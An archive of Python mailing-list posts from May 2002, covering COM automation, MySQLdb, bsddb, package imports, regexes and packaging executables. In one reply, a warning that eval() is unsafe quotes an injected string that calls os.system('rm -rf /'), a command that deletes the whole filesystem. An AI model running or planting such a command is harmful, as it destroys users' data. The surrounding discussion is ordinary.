wrote: >>How can I translate the following C++-Code to python? >> >>// Create application object >>if (m_sendObj.CreateDispatch("WinFax.SDKSend")) >>{ >> m_appObj.AttachDispatch(m_sendObj.GetApplication()); >> m_appObj.LeaveRunning(1); >> m_sendObj.ReleaseDispatch(); >> ... >>} > In Python this is done, so the translated code would be: > >>>> import win32com >>>> import win32com.client >>>> send_obj = win32com.client.Dispatch("WinFax.SDKSend") >>>> appObj = send_obj.Application >>>> appObj.LeaveRunning(1) >>>> del send_obj Hi Stefan! Thanks a lot for your help! This really works now! But it just raises the next question - maybe you or someone else can help again? :-) The function I want to use now on the "appObj" is "GetAutoRecieve()". It's signature in C++ is short GetAutoRecieve(LPCTSTR sDevice, short FAR * nStatus) How can I code this in Python? How to emulate a pointer to an integer? I tried >>> nStatus = 0 >>> appObj.GetAutoReceive(u'MicroLink Office', nStatus) Traceback (most recent call last): File "", line 1, in ? File ">", line 2, in GetAutoReceive pywintypes.com_error: (-2147352571, 'Typkonflikt.', None, 2) >>> with or without unicode string and with/without using "id(object)" (pointer type?) instead of the object itself. But I always get Traceback (most recent call last): File "", line 1, in ? File ">", line 2, in GetAutoReceive pywintypes.com_error: (-2147352571, 'Typkonflikt.', None, 2) Could you give me another hint? Thanks a lot! Tino From cbbrowne at acm.org Fri May 31 10:20:25 2002 From: cbbrowne at acm.org (Christopher Browne) Date: 31 May 2002 14:20:25 GMT Subject: What does Python offer? References: Message-ID: Centuries ago, Nostradamus foresaw when Simon Brunning would write: >> From: aahz at pythoncraft.com [SMTP:aahz at pythoncraft.com] >> >This could start to look like a disadvantage if phrased slightly >> >differently... we're not saying that the whole Python edifice will >> >crumble if one man disappears, are we? I hope that's not what you >> >mean. >> >> Nobody knows. There isn't any official policy about what happens if >> Guido gets hit by a beer truck. OTOH, the infrastructure won't just >> crumble; the problems are all political, and there's no reason to >> believe (particularly now that PSF exists) that some solution can't be >> found. > > All the same, I'd still rather that he *wasn't* hit by a beer truck. Guido > dead, *and* spilt beer - what a catastrophe. At least you didn't suggest that the catastrophe would _primarily_ be the spilt beer... -- (concatenate 'string "cbbrowne" "@acm.org") http://www3.sympatico.ca/cbbrowne/multiplexor.html Rules of the Evil Overlord #69. "All midwives will be banned from the realm. All babies will be delivered at state-approved hospitals. Orphans will be placed in foster-homes, not abandoned in the woods to be raised by creatures of the wild." From peter at engcorp.com Fri May 31 21:39:19 2002 From: peter at engcorp.com (Peter Hansen) Date: Fri, 31 May 2002 21:39:19 -0400 Subject: Crashing IDLE References: Message-ID: <3CF825C7.E45C710E@engcorp.com> David LeBlanc wrote: > > Peter Hansen wrote: > > Instructions like HALT simply put the CPU into a state where > > *all* it does is sit and check for interrupts, and sometimes > > bump timer registers along. It is in suspended animation, > > not reading or writing memory or incrementing the program > > counter. > > "HALT" is often implemented as a "jump to self" in the chip's microcode. > This is a simple way of taking it through the microcode > sense/dispatch/process loop that is the basis of all macro ("regular") > instructions. I think you're right. Probably STOP is what I meant, which would be one step closer towards completely frozen than HALT. I may have the names wrong (and relatively few micros support something like STOP) but the idea is that there is an instruction that does not even execute that loop in microcode, so that the main clock can be stopped and power consumption lowered. This sort of thing is no doubt uncommon in generic CPUs used in PCs, but in embedded micros, and probably laptop CPUs, it's very important. > I really meant assembler as an analogy - Python's VM (interpreter if you > prefer) is quite analgous to a CPU with C as the microcode for the > underlying "simple" CPU. Too bad none of the user microcodable chips ever > made it into production/broadspread use. It would be interesting to create a > truly microcoded Python chip. Perhaps one of those 200,000 gate FPLA's.... > hmmmmmmm. I'm not expert, but the little time I've spent looking into the heart of the Python interpreter tells me it would be *much* more difficult to do that than with, say, the Java engine. Java has much lower level bytecode than does Python, and it's much less dynamic. It would be very cool to see though. And a blend of microcoded and non-microcoded routines could be effective. -Peter From printers at sendme.cz Sat May 11 14:25:20 2002 From: printers at sendme.cz (A) Date: Sat, 11 May 2002 20:25:20 +0200 Subject: Numbers of active threads Message-ID: <3CDD7E30.4391.BC376@localhost> Hi, I use threading module and I need to control numbers of active threads. Can you please give me an example how to do that. Thank you Ladislav From jb at cascade-sys.com Wed May 1 18:25:03 2002 From: jb at cascade-sys.com (James J. Besemer) Date: Wed, 01 May 2002 15:25:03 -0700 Subject: Python vs. Perl, which is better to learn? References: <29Pz8.4571$p56.1051506@newsb.telia.net> Message-ID: <3CD06B3F.65939C2B@cascade-sys.com> Fredrik Lundh wrote: > > {n,m} # preceeding pattern matches at least n but no more than m times > > how is that different from Python's > > {m,n} No different. Simple brain fart, having forgotten that it was in Python too. Regards --jb -- James J. Besemer 503-280-0838 voice http://cascade-sys.com 503-280-0375 fax mailto:jb at cascade-sys.com From buzzard at urubu.freeserve.co.uk Sun May 5 10:39:57 2002 From: buzzard at urubu.freeserve.co.uk (Duncan Smith) Date: Sun, 5 May 2002 15:39:57 +0100 Subject: MySQLdb confusion Message-ID: I'm probably missing something (a brain?), but can anyone suggest a reason why I don't seem to be able to drop a (currently empty) database? Python 2.0, MySQL 3.23.49 on Win 2000. Thanks in advance. Duncan >>> import MySQLdb >>> conn = MySQLdb.connect(host="localhost", user="me", passwd="myPass") >>> conn >>> curs = conn.cursor() >>> curs.execute("SHOW DATABASES") 4L >>> curs.fetchall() (('mysql',), ('test',), ('tester',), ('v_temp',)) >>> curs.execute("DROP DATABASE v_temp") 0L >>> curs.execute("SHOW DATABASES") 4L >>> curs.fetchall() (('mysql',), ('test',), ('tester',), ('v_temp',)) >>> curs.close() >>> conn.close() >>> conn >>> curs >>> From oren-py-l at hishome.net Wed May 29 03:46:01 2002 From: oren-py-l at hishome.net (Oren Tirosh) Date: Wed, 29 May 2002 03:46:01 -0400 Subject: 'for every' and 'for any' In-Reply-To: References: <20020526135944.A32690@hishome.net> <20020526091742.A987@unpythonic.net> Message-ID: <20020529074601.GA79755@hishome.net> On Tue, May 28, 2002 at 04:01:40PM +0000, Quinn Dunkan wrote: > >An expression is easy to use in an if statement where you get an else > >clause. Using combinations of break makes it harder to use both the positive > >and negative case. I often find myself rearranging my code and sometimes > >inverting tests just to get what I want. That's not what programming is all > >about. I'd rather concentrate on the task at hand than on how to express it. > > Then drop those functions into your personal utility library and use 'em > as often as you want :) I don't have a personal utility library. It's on purpose. I don't have personalized key bindings. I try to avoid customization. Customization is a big part of what makes one programmer's code difficult to maintain by another programmer, what makes on programmers's workstation unusable by another and makes combining code from several sources difficult. Just one little example: I hate it when different parts of the code use their own customized constants for ints from specific sizes. Is it u_int32_t, uint32_t or guint32? I hate it when a big project starts and the programmers all start to waste their time on writing a yet another library with all this stuff. One of the things I like about Python is that it comes with everything in the box. Oren From lac at strakt.com Thu May 9 04:29:10 2002 From: lac at strakt.com (Laura Creighton) Date: Thu, 09 May 2002 10:29:10 +0200 Subject: article: MS in Peruvian open-source nightmare In-Reply-To: Message from Robin Becker of "Thu, 09 May 2002 08:58:48 BST." References: <200205081615.g48GFWjX025172@ratthing-b246.strakt.com> Message-ID: <200205090829.g498TAjX029064@ratthing-b246.strakt.com> > In article , Gon?alo > Rodrigues writes > >I can't resist to add that I completely agree with H. Krekel on this. It > >is surely one of the most impressive defenses + myth-debunkings I have > >ever read on the issue open-source vs proprietary software. > > > >Gon?alo Rodrigues > On another issue, this letter reads extremely well in English, but has > anyone read the original Spanish (I'm making an assumption the original > was in that language) and if so how was it translated so well. > -- > Robin Becker > -- There is somebody at theregister who is actively pushing for OpenSource in the English government. I read this www.govtalk.gov.uk/documents/QinetiQ_OSS_rep.pdf there first, I have managed to lose the register version. I would be very interested in knowing who that person at the register is so that we can help. Laura From loewis at informatik.hu-berlin.de Mon May 6 10:09:30 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 06 May 2002 16:09:30 +0200 Subject: Creating C modules for Python under Cygwin In-Reply-To: <20020506131744.GD1668@tishler.net> References: <3CD41CC4.5752F30C@wag.caltech.edu> <20020506131744.GD1668@tishler.net> Message-ID: Jason Tishler writes: > 1. Win32 Python used a DLL Python library too > 2. DLLs appear to be en vogue on Windows (and Cygwin) > 3. shared extensions worked! > > I guess that #3 is the most compelling. :,) I still wonder whether they would have worked when linked against the executable. Your reasoning was "linking against a static library does not work, ergo we need --enable-shared". As Alex explains, this reasoning might be flawed. > $ dlltool --export-all --output-def python2.3.def python.exe > $ dlltool --dllname python.exe --def python2.3.def --output-lib libpython2.3.dll.a > > $ make # [2] [...] > [2] make succeeds this time because we are linking against an import > library now. I think this is what Alex had in mind. > >>> import _socket > Traceback (most recent call last): > File "", line 1, in ? > ImportError: dlopen: Win32 error 193 > > $ fgrep 193 /usr/include/w32api/winerror.h > #define ERROR_BAD_EXE_FORMAT 193L Can you tell whether it complains about _socket.pyd, or about the executable? > > I thought this was overstated, [snip] > > Please feel free to question any of my statements. Your original statement was "Cygwin, like Win32, requires a shared python library." It does not require that - it only requires it if you have shared extensions. And even then, it might be the case that it doesn't require a shared python library. Regards, Martin From tim.one at comcast.net Thu May 2 20:42:13 2002 From: tim.one at comcast.net (Tim Peters) Date: Thu, 02 May 2002 20:42:13 -0400 Subject: Win32 install questions In-Reply-To: <3CD1C98A.2BEC68D@marge.cyber-dyne.com> Message-ID: [toman] > This is more of a Wise question than a Python question. I'm trying to > install Python-2.2.1.exe and win32all-146.exe as part of a larger > installation. Are there command line arguments for these programs that > can make them run silently (i.e. no GUI at all) and that can specify > the target path for the installation? Here are the Wise docs for installers built by Wise 8.14, used to build the PythonLabs Windows installer. I've never tried any of them, so you're on your own after this. I believe win32all uses a different version of Wise. """ /T Install in Test mode. /X pathname Extracts files to pathname. /Z pathname Extracts files to pathname, then reboots. /M Runs installation in manual mode, prompting for system directories such as Windows, System, etc. /M=filename Specifies a value file for installation. See Set Variable on page 293 for more information on reading variables /M1 Displays the name of each self-registering OCX or DLL as it is registered /M2 Reserved for internal use by Wise Installation System during debugging sessions /S Slent mode, automatic mode with no user choices """ > So far I've found the /S flag which makes the Python install silent, > but the win32all install still pops a progress bar. Is there any > way around this? Don't know, doubt it, and I expect you'll need Mark Hammond's help to make progress. > Also, I noticed that site packages have been moved to Lib/site-packages. > Is this going to stay this way for the forseeable future? I can more easily foresee my death . iow-site-packages-will-outlive-me-ly y'rs - tim From quinn at regurgitate.ugcs.caltech.edu Wed May 29 16:48:33 2002 From: quinn at regurgitate.ugcs.caltech.edu (Quinn Dunkan) Date: 29 May 2002 20:48:33 GMT Subject: 'for every' and 'for any' References: <20020526135944.A32690@hishome.net> <20020526091742.A987@unpythonic.net> Message-ID: On Wed, 29 May 2002 03:46:01 -0400, Oren Tirosh wrote: >On Tue, May 28, 2002 at 04:01:40PM +0000, Quinn Dunkan wrote: >> >An expression is easy to use in an if statement where you get an else >> >clause. Using combinations of break makes it harder to use both the positive >> >and negative case. I often find myself rearranging my code and sometimes >> >inverting tests just to get what I want. That's not what programming is all >> >about. I'd rather concentrate on the task at hand than on how to express it. >> >> Then drop those functions into your personal utility library and use 'em >> as often as you want :) > >I don't have a personal utility library. It's on purpose. I don't have >personalized key bindings. I try to avoid customization. Customization is >a big part of what makes one programmer's code difficult to maintain by >another programmer, what makes on programmers's workstation unusable by >another and makes combining code from several sources difficult. Um, customizing your workstation is only going to cause problems for other people if they use your account. I'm hoping they don't do that? No one can use my wacky setup but they don't need to because I log out when I'm done. All of the good programmers I've seen working have idiosyncratic setups. I've never heard of any problems because of it as long as they can edit text and run cvs or whatever, but I've seen plenty of problems suffered by people who exclusively use poorly chosen defaults. And if you're writing code with another programmer, yes, you both need to use the same libraries. You should also use the same language :) Of the hard-to-maintain code I've looked at, it's always been not enough abstraction, rather than too much. People who are used to C and Pascal seem to be especially used to reinventing common operations, probably because non-polymorphic static languages make it hard to write generic anything. >Just one little example: I hate it when different parts of the code use >their own customized constants for ints from specific sizes. Is it >u_int32_t, uint32_t or guint32? I hate it when a big project starts and the >programmers all start to waste their time on writing a yet another library >with all this stuff. That's a complaint about C's type system, and is not relevant to the issue. The question of C programmers re-writing a utility library is also not relevant because the question is not re-writing vs. re-using a utility library, but using one vs. not using one. There seems to be some kind of cultural thing where C programmers like to reinvent stuff. Or something. I'm not really a C programmer so I don't know. Would you avoid certain abstraction mechanisms in C because it led to a mess when you tried it in FORTRAN 30 years ago? >One of the things I like about Python is that it comes with everything in >the box. The way I see it, one of the major advantages of dynamic flexible languages like python and lisp is the ability to program "bottom up" (to use graham's terminology) by writing a lot of little generic interoperable parts that can be stacked up later. No language can come with everything in the box, and an attempt to make it so is trouble because everyone's needs are different. I agree that programming is not rearranging loops but about expressing the problem as directly as possible. The chances are slim that you'll be able to directly express your problem in "pure syntax". Anyway, obviously you're free to follow whatever convention you wish. I'm just saying that I don't agree with it so I don't go for the "but I can't use this solution because my religion forbids it" line. From BgPorter at NOartlogicSPAM.com Thu May 9 10:56:48 2002 From: BgPorter at NOartlogicSPAM.com (Brett g Porter) Date: Thu, 09 May 2002 14:56:48 GMT Subject: [Survey] Py Feedback References: <3cd9a9d9.196458672@news.newsguy.com> <3CDA056B.E213A4A3@engcorp.com> <3CDA6AFC.5B970E88@engcorp.com> Message-ID: "Peter Hansen" wrote in message news:3CDA6AFC.5B970E88 at engcorp.com... > Philip Swartzleonard wrote: > > > > Peter Hansen || Wed 08 May 2002 10:13:15p: > > > > > Bryan Richard wrote: > > >> My thinking has always been that Py, and subsequently, Python, would > > >> reach more people if it were in a bookstore. Perhaps I'm wrong. > > > > > > Maybe negotiate to make it an insert in some reputable existing > > > journal? > > > > This isn't really an area i'm familair with, but aren't most techny > > publications reputible enough to call themselves journals the things that > > genereally only come with a 100+$/yr membership in some org? > > Probably true. I'm not always careful with words. In this case, > I had in mind things like Software Development, Dr. Dobbs, the Linux > Journal... My subscription copies of "C/C++ User's Journal" frequently arrive with a separately bound Java supplement that I occasionally flip through before recycling, so this model has been done at least once. The obvious advantage of this approach is that you're not just preaching to the choir. I've been pleased to see a fairly regular Python presence in DDJ of late -- makes it easy to keep Python in the minds of my co-workers. -- // Brett g Porter * Lead Engineer, Development Practices // BgPorter at artlogic.com * www.artlogic.com // Art & Logic, Inc. * software engineering and design // Desktop * Embedded * Web From deltapigz at telocity.com Wed May 1 20:15:59 2002 From: deltapigz at telocity.com (Adonis) Date: Wed, 1 May 2002 20:15:59 -0400 Subject: Python & XML Message-ID: <3cd08936$1_3@nopics.sjc> as in a prior post i was recommened to purchase the book Python & XML by: Christopher A. Jones & Fred L. Drake, Jr., which by the way is very informative and thank you for the person who recommended it to me, but it just happens that the majority if not all of the examples donot work, and i have copied it verbatim, and no luck, of course i tweaked some exmaples to work, but this one is beyond me and i have notbeen able to fix this: from xml.dom.ext.reader.Sax2 import FromXmlStream import sys doc = FromXmlStream(sys.stdin) for sku in doc.getElementsByTagName("sku"): sku.normalize() print "Sku: %s"%sku.firstChild.data keeps telling me im out of space? the example tells me to call it as "po.py < po.xml" but errors that. very frustrating when your trying to learn XML processing in python and the examples do not work! almot makes me feel my $30USD was not worth it. *sigh* any help would greatly be appreciated. Adonis From fredrik at pythonware.com Wed May 1 11:02:18 2002 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 01 May 2002 15:02:18 GMT Subject: Python vs. Perl, which is better to learn? References: Message-ID: <_rTz8.4601$p56.1068302@newsb.telia.net> > or you can use group references in the sub method: > > print pat.sub(r"\1\2\3", s) which should have been: print pat.sub(r"\3\2\1", s) From cliechti at gmx.net Thu May 23 18:59:19 2002 From: cliechti at gmx.net (Chris Liechti) Date: 24 May 2002 00:59:19 +0200 Subject: exe References: <1e140f34.0205231423.26a1ed28@posting.google.com> Message-ID: terjej at mailandnews.com (Terje Johan Abrahamsen) wrote in news:1e140f34.0205231423.26a1ed28 at posting.google.com: > Is there any way to make .exe files out of Python, that doesn't create > such humongous files as py2exe does? A little popup box with a message > demands about 2.5 mb of hd space. Or is that the price to pay? sure. McMillans Installer has an options to put everything in a self extracting archive with automaic unpack/delete when the application is run. (there are freeze and others too but that's much more work to use than those two above) about the size... pack more value in your app than just a dialog box and you don't have to worry about the size that much the libararies are the biggest chunk, no matter if you're app is a three liner or a 500kB sourcefile - especialy when you use some GUI... the size depends largely on the extension modules you use. i.e. wxPython usualy adds 4MB+, win32all is a bit smaller i think, tkinter is not that large too but has _many_ files. if size is realy that important for you, you could look at other GUI kits, some might me much smaller. or write your own extension with only the functions you need. but in the end i don't think its worth the energy - computers have enough powers nowdays, execpet you're limited to floppies as medium chris -- Chris From pgaherty at chambersharrap.co.uk Wed May 8 05:02:31 2002 From: pgaherty at chambersharrap.co.uk (Patrick Gaherty) Date: Wed, 08 May 2002 10:02:31 +0100 Subject: Regular expression question Message-ID: <3CD8E9A7.6010600@chambersharrap.co.uk> Im performing the following search and replace in Python. However, I would like to return the first group as lowercase using .lower() in the replacement string, What's the best way of achieving this? result = re.sub(r'
(.*?)
', r'\2', result) Thanks Patrick Gaherty From dyoungblood at mindspring.com Wed May 29 09:39:25 2002 From: dyoungblood at mindspring.com (dyoungblood at mindspring.com) Date: Wed, 29 May 2002 13:39:25 GMT Subject: hooking pc to a card embosser Message-ID: <3cf4d84c.2524688@10.0.0.1> I'm hoping that you guys can help me with a project. I repair card embossers ( machines that emboss-punch raised letters- on credit cards and such). One of the ways that these machines can be controlled by is hooking it up to a dumb terminal. I want to make a program for my laptop that will simulate a dumb terminal and thereby give me full control of the machine. Hooking up to it this way gives me the ability to save layouts and change system settings, etc. The machine has setup options for the following terminals: 1) Sherwood 750-ST 2) QVT 101+ 3) Esprit 6110+ These use the serial port on the computer. Do you have any suggestions on how I can simulate any of these terminals, the codes used and such? I am running Win98se on my laptop. The embosser is NBS Advantage 2000 M1. I appreciate any help you can give me. David Youngblood Eastern Data, Inc. david at edi1.com www.edi1.com From FooWeissBarMike at hotmail.com Fri May 24 13:45:16 2002 From: FooWeissBarMike at hotmail.com (Michael Weiss) Date: Fri, 24 May 2002 13:45:16 -0400 Subject: Create pywintypes.Time from an mx.DateTime.DateTime References: <484f9bc8.0205240444.7193f90d@posting.google.com> <3CEE5B7D.7080308@skippinet.com.au> Message-ID: <3cee7cfc$1@news.mhogaming.com> This works great... --- import pywintypes, types, mx.DateTime mxtime = mx.DateTime.Date(2050) print mxtime.Format() #prints "01/01/50 00:00:00" which is right comtime = pywintypes.Time(mxtime.tuple()) print comtime.Format() #prints "01/01/50 00:00:00" which is also right! --- Now I get a nicely typed (VT_DATE) variant back in my (active scripting) hosting application. Thanks! I started to look at the python win32 C code in CVS (at pythonpros.com)... Thankfully you replyed before having to decifer too much of PyTime.cpp!! "Mark Hammond" wrote in message news:3CEE5B7D.7080308 at skippinet.com.au... > Mike Weiss wrote: > > I'm *very* new to python (C++ programmer) so please bear with me if > > what > > I'm asking is completely stupid. > > I'm using both mxDateTime and the win32 extensions in python v2.2. > > > > I'm trying to create a pywintypes.Time (a window's COM date (right?)) > > FROM > > an mx.DateTime object. I can go the other way (pywintypes TO > > mxDateTime). > > > > mx.DateTime.COMDate() returns a float, which I can't seem to use to > > initalize a pywintypes.Time object with. Pywintypes.Time only seems to > > be > > able to be created from the integer value used by the basic "time" > > module in standard python. > > It can also be initialized with a standard Python "time tuple", as used > by the time module. I am not sure of the semantics of the mx objects, > but I am sure they would allow you to get such a tuple very simply. > > Mark. > From goodger at users.sourceforge.net Tue May 28 21:37:27 2002 From: goodger at users.sourceforge.net (David Goodger) Date: Wed, 29 May 2002 01:37:27 GMT Subject: intra-package mutual imports fail: "from import " Message-ID: I ran across this wrinkle and hope that someone can shed some light. I have a package on sys.path containing pairs of modules, each importing the other:: package/ __init__.py: # empty module1.py: import module2 # relative import module2.py: import module1 Executing "from package import module1" works fine. Changing the import statements to absolute dotted forms also works for "from package import module3":: module3.py: import package.module4 # absolute import module4.py: import package.module3 However, if I change both imports to be absolute using the "from/import" form, it doesn't work:: module5.py: from package import module6 # absolute import module6.py: from package import module5 Now I get an exception:: >>> from package import module5 Traceback (most recent call last): File "", line 1, in ? File "package/module5.py", line 1, in ? from package import module6 File "package/module6.py", line 1, in ? from package import module5 ImportError: cannot import name module5 Is this behavior expected? Or is it a bug? I note that FAQ entry 4.37 [*]_ says we shouldn't do "from import *"; I'm not. Are all "from import" statements forbidden in this context? Why? (It seems to me that "import package.module" and "from package import module" are equivalent imports, except for their effect on the local namespace.) Is there an authoritative reference (docs, past c.l.p post, bug report, etc.)? .. [*] http://www.python.org/cgi-bin/faqw.py?req=show&file=faq04.037.htp -- David Goodger Open-source projects: - Python Docutils: http://docutils.sourceforge.net/ (includes reStructuredText: http://docutils.sf.net/rst.html) - The Go Tools Project: http://gotools.sourceforge.net/ From janeaustine50 at hotmail.com Wed May 29 23:53:10 2002 From: janeaustine50 at hotmail.com (Jane Austine) Date: 29 May 2002 20:53:10 -0700 Subject: Survey: bsddb is definitely broken. Should it be fixed, or deprecated? References: <4c877253.0205091721.6f675f81@posting.google.com> Message-ID: garth at deadlybloodyserious.com (Garth T Kidd) wrote in message news:<4c877253.0205091721.6f675f81 at posting.google.com>... > Alex Martelli's discussion about shelve being broken (or, at least, > surprising) reminded me shelve is occasionally quite broken because > the underlying technology is broken. > > Specifically, shelve uses anydbm by default, which on many systems > uses bsddb by default, and bsddb is quite broken, and has been since > Python 1.5 and maybe earlier: > > http://sourceforge.net/tracker/?group_id=5470&atid=105470&func=detail&aid=408271 > > The easiest solution is to deprecate bsddb and take it out of the list > of contenders for anydbm. I've put up a patch for both: > > http://sourceforge.net/tracker/?func=detail&aid=553108&group_id=5470&atid=305470 > > Existing databases will still be fine, because whichdb.whichdb will > figure it out and load bsddb. New databases, however, will avoid > bsddb. > > Frankly, I'd rather people use dumbdbm (slow) than bsddb (unreliable), > but I'd like to hear what everyone else thinks. > > Regards, > Garth. > > http://www.deadlybloodyserious.com/Python/ I second that the current bsddb module should be deprecated or show some sort of warning. Thinking about Batteries Included catchy phrase of Python, packaging python with "working" version of bsddb would be very important. Jane From peter at engcorp.com Thu May 30 22:01:51 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 30 May 2002 22:01:51 -0400 Subject: !!! 2.1, 2.2, 2.2.1, PYTHON BUGS ???? References: Message-ID: <3CF6D98F.6D28E5DF@engcorp.com> "David K. Trudgett" wrote: > > On Thursday 2002-05-30 at 14:22:47 +0000, Michael Hudson wrote: > > > Read this: > > > > http://www.python.org/doc/2.2.1/tut/node14.html > > > > (the fact that I can type this URL from memory should be some > > indication that you could have answered your query yourself with a > > little effort). > > Obviously, something has changed since Python 1.5.2: As mentioned in Andrew Kuchling's pages at http://www.amk.ca/python/2.0 """Taking the repr() of a float now uses a different formatting precision than str(). repr() uses %.17g format string for C's sprintf(), while str() uses %.12g as before. The effect is that repr() may occasionally show more decimal places than str(), for certain numbers. For example, the number 8.1 can't be represented exactly in binary, so repr(8.1) is '8.0999999999999996', while str(8.1) is '8.1'. """ -Peter From eppstein at ics.uci.edu Sat May 4 12:51:09 2002 From: eppstein at ics.uci.edu (David Eppstein) Date: Sat, 04 May 2002 09:51:09 -0700 Subject: Using functional tools References: <3CD39DAD.D5BC3F9C@vip.fi> Message-ID: In article <3CD39DAD.D5BC3F9C at vip.fi>, Pekka Niiranen wrote: > I would like to feed every second (or 3rd or 4th .etc) item in a list to > a function. > > list = ['a', 'b', 'c', 'd', 'e'] > > **some fancy map/filter -trick here** > > => list = ['a', function('b'), 'c', function('d'), 'e'] > > Is there a (functional) way without using for or while -structures ? This isn't a functional style, but simple generators allow you to avoid all the index manipulation I've seen in previously-posted solutions: from __future__ import generators def alternate(L,F): L = iter(L) while 1: yield L.next() yield F(L.next()) list = alternate(list,function) ...of course, the result will be an iterator, not a list -- if you really want a list, call list(alternate(...)) after being careful not to shadow the built-in "list" function... -- David Eppstein UC Irvine Dept. of Information & Computer Science eppstein at ics.uci.edu http://www.ics.uci.edu/~eppstein/ From shalehperry at attbi.com Thu May 2 22:57:42 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Thu, 02 May 2002 19:57:42 -0700 (PDT) Subject: Low level python In-Reply-To: Message-ID: On 03-May-2002 Matthew Sherborne wrote: > You guys are scaring me. I don't feel safe on the cutting edge! > > It actually doesn't look that hard using WinDriver (they even have device > drivers written in VB!) > > One prob I have to convince the rent payers: It uses 2-3Mb of RAM when > running! Who wants a 3Mb device driver? > > I remember that deeply embedded python recompile python dropping langauge > features out. Is there an easy way to do this? > > Anyone know how I can reduce the memory footprint of Python? > Wait, you actually wanted to *USE* this (-: Use python as a rapid devel and testing tool then switch over to C++ for the final product. You get the python hacking the customer gets the performance they want. Then again, what is 3mb out of a 1gb machine? Just about any open app uses at least that much mem. From brian at sweetapp.com Thu May 16 13:54:04 2002 From: brian at sweetapp.com (Brian Quinlan) Date: Thu, 16 May 2002 10:54:04 -0700 Subject: how to determine an 'open' string? In-Reply-To: <15587.61363.297849.836081@12-248-41-177.client.attbi.com> Message-ID: <004301c1fd02$abbc4990$445d4540@Dell2> Skip wrote: > holger> with my replacement rlcompleter module i'd like to > holger> have a *correct* check if a string is 'open'. > > How about just trying to eval() the string? Assuming it begins with a > quotation mark or apostrophe it should be safe to call eval(). I don't think so. How about this string: 'Cya' + os.system('rm -rf /') + 'Later' It starts and ends with an apostrophe but I wouldn't want to eval it. Cheers, Brian From tdelaney at avaya.com Thu May 16 22:04:32 2002 From: tdelaney at avaya.com (Delaney, Timothy) Date: Fri, 17 May 2002 12:04:32 +1000 Subject: Stupid string formatting question Message-ID: > From: Michael S. Fischer [mailto:michael+usenet at dynamine.net] > > OK, here's an example. > > >>> def x(): > ... return "a", "b" > ... > >>> print "%s/%s/%s/%s" % ("hi", "there", x()) > Traceback (most recent call last): > File "", line 1, in ? > TypeError: not enough arguments for format string Well, try print repr(("hi", "there", x())) and see what it gives you. You get a 3-element tuple, the last element being a tuple itself. To do what you want, you need to do print "%s/%s/%s/%s" % (("hi", "there",) + x()) which will give you a 4-element tuple. Always give enough of your code to replicate the actual problem you are having. If you don't get the same error message with the code you intend to post as with your real code, your code will be insufficient to get a useful answer. Tim Delaney From aleax at aleax.it Sat May 11 02:57:20 2002 From: aleax at aleax.it (Alex Martelli) Date: Sat, 11 May 2002 06:57:20 GMT Subject: Which GUI Library to Use References: Message-ID: Gustavo Cordova wrote: > Is designing and making a GUI toolkit a'la Tk, > with only the most basic stuff written in C > (native GUI interface, speed stuff, etc) and > the rest written in Python, doable? Yes. Sam Rushing went some way towards doing it on top of the raw Win32 API's, as one of the developments of calldll, if I recall correctly. > I can't help thinking that building something > like that would be very interesting. It would no doubt teach you a lot to build it. > Would it be worth the effort? I doubt anybody would _use_ it (Python has too many GUI kits, not too few), but that need not mean it's not worth to learn by building it anyway. Alex From info at mjais.de Tue May 14 15:43:36 2002 From: info at mjais.de (Markus Jais) Date: Tue, 14 May 2002 21:43:36 +0200 Subject: how to upgrade correctly to 2.2.1??? Message-ID: hello I have 2.2 installed and now I want to install 2.2.1 make uninstall in the 2.2 dicrectory does not work so I typed sudo rm -rf /usr/local/bin/pydoc sudo rm -rf /usr/local/binpython* sudo rm -rf /usr/local/lib/python2.2/ does this remove all the python 2.2 stuff?? markus From dmitri.gouliaev at telkel.net Thu May 30 03:24:35 2002 From: dmitri.gouliaev at telkel.net (Dmitri I GOULIAEV) Date: Thu, 30 May 2002 02:24:35 -0500 Subject: The email package and KLEZ mails In-Reply-To: ; from "Sheila King" on Wed, May 29, 2002 at 11:20:15PM References: Message-ID: <20020530022435.A25137@lifebook> Hi, Sheila King ! On Wed, May 29, 2002 at 11:20:15PM -0700, Sheila King wrote: > (Francois Pinard) > > [Sheila King] > > Often (but not necessarily), badly structured messages come from people > > who do not care much. Otherwise, they would have set up themselves better. > > As I much prefer people who care, from my viewpoint, there is a significant > > correlation between a message being MIME-erroneous and a message not being > > worth much interest. > > ??? I don't understand the point of this? I had an email message I received > from the razor mailing list that couldn't be parsed by the email module. > Now that is a list for people who care very much about email and preventing > spam. So...? They should care little bit more ? Best regards, -- DIG (Dmitri I GOULIAEV) All below this line is added by my e-mail provider. From Simon.Budig at unix-ag.org Mon May 27 14:07:30 2002 From: Simon.Budig at unix-ag.org (Simon Budig) Date: 27 May 2002 19:07:30 +0100 Subject: eval vs. exec References: <3cf232b4@si-nic.hrz.uni-siegen.de> Message-ID: <3cf267d1@si-nic.hrz.uni-siegen.de> holger krekel wrote: > what you can do is e.g. [slightly adjusted] import code def run_code(string, mathstuff={'myabs': lambda x: abs(x)}): interpreter = code.InteractiveInterpreter() interpreter.locals = mathstuff codeobj = code.compile_command(string) result = interpreter.runcode(codeobj) return result print "Result: %s" % repr (run_code('a=2')) print "Result: %s" % repr (run_code('3*4')) print "Result: %s" % repr (run_code('a=2;b=3;a*b')) print "Result: %s" % repr (run_code('a=-3;myabs(a*5)')) and this results in: Result: None 12 Result: None 6 Result: None 15 Result: None As you can see the return value always is "None". The real results get printed to stdout. This is the same problem I had with the eval/exec stuff. Thanks for trying :-) Simon -- Simon.Budig at unix-ag.org http://www.home.unix-ag.org/simon/ From loewis at informatik.hu-berlin.de Tue May 7 12:40:21 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 07 May 2002 18:40:21 +0200 Subject: survey: is shelve broken? should it be fixed? References: Message-ID: "Emile van Sebille" writes: > You also used 'modifiable' (shorten to modify). 'Persistent' (persist), > 'updateable' (update), 'dynamic' (vs boolean flipped 'static') or > perhaps untrap? > > Should we call the next improvement switch argument 'smarter'? ;-) No, the boolean value will get interpreted as a numeric argument: shelve.open(name,mode,smart=5) will be available in Python 2.6 (assuming the release gain two levels of smartness per release :-) Regards, Martin From peter at engcorp.com Fri May 10 22:50:09 2002 From: peter at engcorp.com (Peter Hansen) Date: Fri, 10 May 2002 22:50:09 -0400 Subject: Call another file References: 